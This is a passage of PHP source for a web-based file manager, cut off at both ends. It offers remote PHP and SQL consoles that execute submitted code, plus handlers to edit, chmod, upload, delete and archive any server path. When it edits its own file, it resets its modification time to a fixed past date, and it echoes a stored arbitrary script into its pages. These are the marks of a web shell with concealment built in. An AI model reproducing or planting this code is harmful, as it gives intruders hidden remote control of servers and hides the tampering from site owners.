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");
}
.file {
background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
background-image:
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
table{display:block;}
#fm_table td{display:inline;float:left;}
#fm_table tbody td:first-child{width:100%;padding:0;}
#fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
#fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
#fm_table tr{display:block;float:left;clear:left;width:100%;}
#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
$res = empty($_POST['sql']) ? '' : $_POST['sql'];
$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
$res = empty($_POST['php']) ? '' : $_POST['php'];
$res_lng = 'php';
}
if (isset($_GET['fm_settings'])) {
echo '
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
die($proxy_form);
} elseif (isset($res_lng)) {
?>
<table class="whole">
<tr>
<th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
<td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
else echo '</h2></td><td>'.fm_run_input('sql');
?></td></tr></table></td>
</tr>
<tr>
<td class="row1">
<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
<form action="" method="POST" name="console">
<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
<input type="reset" value="<?=__('Reset')?>">
<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."
";
$select .= '<option value="-1">' . __('Select') . "</option>
";
foreach ($tmpl as $key=>$value){
$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>
";
}
$select .= "</select>
";
echo $select;
}
?>
</form>
</td>
</tr>
</table>
<?php
if (!empty($res)) {
$fun='fm_'.$res_lng;
echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
}
} elseif (!empty($_REQUEST['edit'])){
if(!empty($_REQUEST['save'])) {
$fn = $path . $_REQUEST['edit'];
$filemtime = filemtime($fn);
if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
else $msg .= __('Error occurred');
if ($_GET['edit']==basename(__FILE__)) {
touch(__FILE__,1415116371);
} else {
if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
}
}
$oldcontent = @file_get_contents($path . $_REQUEST['edit']);
$editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
<th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="<?=$editlink?>">
<textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
<input type="submit" name="save" value="<?=__('Submit')?>">
<input type="submit" name="cancel" value="<?=__('Cancel')?>">
</form>
</td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
if(!empty($_REQUEST['save'])) {
if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
$msg .= (__('File updated'));
else $msg .= (__('Error occurred'));
}
clearstatcache();
$oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
$link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
<th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<a href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="<?=$link?>">
<?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
<input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
<?php } ?>
<input type="submit" name="save" value="<?=__('Submit')?>">
</form>
</td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
if(!empty($_REQUEST['save'])) {
rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
$msg .= (__('File updated'));
$_REQUEST['rename'] = $_REQUEST['newname'];
}
clearstatcache();
$link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
<th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<a href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="<?=$link?>">
<?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
<input type="submit" name="save" value="<?=__('Submit')?>">
</form>
</td>
</tr>
</table>
<?php
} else {
//Let's rock!
$msg = '';
if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
if(!empty($_FILES['upload']['name'])){
$_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
$msg .= __('Error occurred');
} else {
$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
}
}
} elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
$msg .= __('Error occurred');
} else {
$msg .= __('Deleted').' '.$_REQUEST['delete'];
}
} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
$msg .= __('Error occurred');
} else {
$msg .= __('Created').' '.$_REQUEST['dirname'];
}
} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
$msg .= __('Error occurred');
} else {
fclose($fp);
$msg .= __('Created').' '.$_REQUEST['filename'];
}
} elseif (isset($_GET['zip'])) {
$source = base64_decode($_GET['zip']);
$destination = basename($source).'.zip';
set_time_limit(0);
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
if (is_file($destination))
$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
else $msg .= __('Error occurred').': '.__('no files');
} elseif (isset($_GET['gz'])) {
$source = base64_decode($_GET['gz']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
clearstatcache();
set_time_limit(0);
//die();
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
$phar->compress(Phar::GZ,'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
} else $msg .= __('Error occurred').': '.__('no files');
} elseif (isset($_GET['decompress'])) {
// $source = base64_decode($_GET['decompress']);
// $destination = basename($source);
// $ext = end(explode(".", $destination));
// if ($ext=='zip' OR $ext=='gz') {
// $phar = new PharData($source);
// $phar->decompress();
// $base_file = str_replace('.'.$ext,'',$destination);
// $ext = end(explode(".", $base_file));
// if ($ext=='tar'){
// $phar = new PharData($base_file);
// $phar->extractTo(dir($source));
// }
// }
// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
} elseif (isset($_GET['gzfile'])) {
$source = base64_decode($_GET['gzfile']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
set_time_limit(0);
//echo $destination;
$ext_arr = explode('.',basename($source));
if (isset($ext_arr[1])) {
unset($ext_arr[0]);
$ext=implode('.',$ext_arr);
}
$phar = new PharData($destination);
$phar->addFile($source);
$phar->compress(Phar::GZ,$ext.'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
